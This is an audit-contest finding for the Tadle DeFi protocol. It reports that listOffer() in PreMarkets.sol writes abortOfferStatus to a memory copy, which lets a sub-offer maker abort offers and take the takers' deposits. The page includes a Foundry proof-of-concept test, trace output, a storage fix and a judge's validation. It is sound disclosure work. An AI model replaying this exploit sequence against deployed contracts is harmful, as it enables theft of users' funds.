Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Sub-Offer Maker Can Exploit Incorrect Memory Usage to Steal Funds from Sub-Offer Takers

Tomas0707

Summary

The listOffer() function in the PreMarkets.sol contract incorrectly attempts to update the abortOfferStatus of an originOfferInfo using a memory variable. Since memory variables do not persist changes to the contract’s state, this results in the inability to properly update the abortOfferStatus. A sub-offer maker can exploit this vulnerability to abort the main offer and subsequently steal funds from the sub-offer takers.

Vulnerability Details

The function attempts to modify the abortOfferStatus of originOfferInfo.

OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;

However, originOfferInfo is a memory variable, meaning that any changes made to it do not persist to the contract’s storage. This means the actual abortOfferStatus in storage remains unchanged.

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L337-L342

Impact

This vulnerability is critical because it allows sub-offer makers to exploit the system:

  • Theft of Funds: Sub-offer makers can abort the main offer despite having active sub-offers. This action can enable them to access and potentially steal the funds deposited by sub-offer takers, leading to significant financial losses for those users.

  • Market Disruption: The ability to abort offers with active sub-offers undermines the integrity of the market and can lead to severe disruptions in the settlement process, eroding trust in the system.

Proof of Concept

A sub-offer maker can use this flaw to abort the main offer, allowing them to access the funds associated with the sub-offers. Since the system doesn’t properly register the presence of sub-offers due to the unupdated abortOfferStatus, it fails to enforce the necessary restrictions.

This is the test code.

function test_ask_turbo_chain() public {
console2.log("user2.balance: ", mockUSDCToken.balanceOf(user2));
console2.log("user3.balance: ", mockUSDCToken.balanceOf(user3));
console2.log("");
​
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
vm.stopPrank();
​
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
​
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
vm.stopPrank();
​
address offer1Addr = GenerateAddress.generateOfferAddress(1);
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offer1Addr, 200);
vm.stopPrank();
​
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
​
vm.prank(user2);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
​
address stock2Addr = GenerateAddress.generateStockAddress(2);
vm.prank(user3);
vm.expectRevert();
preMarktes.abortBidTaker(stock2Addr, offer1Addr);
​
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
vm.startPrank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
console2.log("user2.balance: ", mockUSDCToken.balanceOf(user2));
console2.log("user3.balance: ", mockUSDCToken.balanceOf(user3));
console2.log("");
}

The result of test is like this.

user2.balance: 100000000000000000000000000
user3.balance: 100000000000000000000000000
user2.balance: 100000000002225000000000000
user3.balance: 99999999997516000000000000
----------------------------------------------------------------------------------------------------------------------------------------------
│ └─ ← [Return]
├─ [0] VM::prank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [2216] UpgradeableProxy::abortBidTaker(0xDccDBCD5F1429903af9aC7a6b7adb68242EcbD46, 0xec19aCA7DE739Aeff3d1924151F084bF67920a9a)
│ ├─ [1691] PreMarktes::abortBidTaker(0xDccDBCD5F1429903af9aC7a6b7adb68242EcbD46, 0xec19aCA7DE739Aeff3d1924151F084bF67920a9a) [delegatecall]
│ │ └─ ← [Revert] InvalidAbortOfferStatus(2, 0)
│ └─ ← [Revert] InvalidAbortOfferStatus(2, 0)

As you can see, aborting of the sub-offer taker (user3) is failed, and the sub-offer maker (user2) stole the funds deposited by the sub-offer taker (user3).

Tools Used

Manual code review

Recommendations

Replace the memory keyword with storage for originOfferInfo to ensure that changes to abortOfferStatus are correctly persisted in the contract's storage.

OfferInfo storage originOfferInfo = offerInfoMap[originOffer];
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-originIOfferInfo-storage-memory

Valid high severity, because the `abortOfferStatus` of the offer is not updated and persist through `storage` when listing an offer for turbo mode within the `offerInfoMap` mapping, it allows premature abortion given the `abortOfferStatus` defaults to `Initialized`, allowing the bypass of this [check](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L552-L557) here and allow complete refund of initial collateral + stealing of trade tax which can potentially be gamed for profits using multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.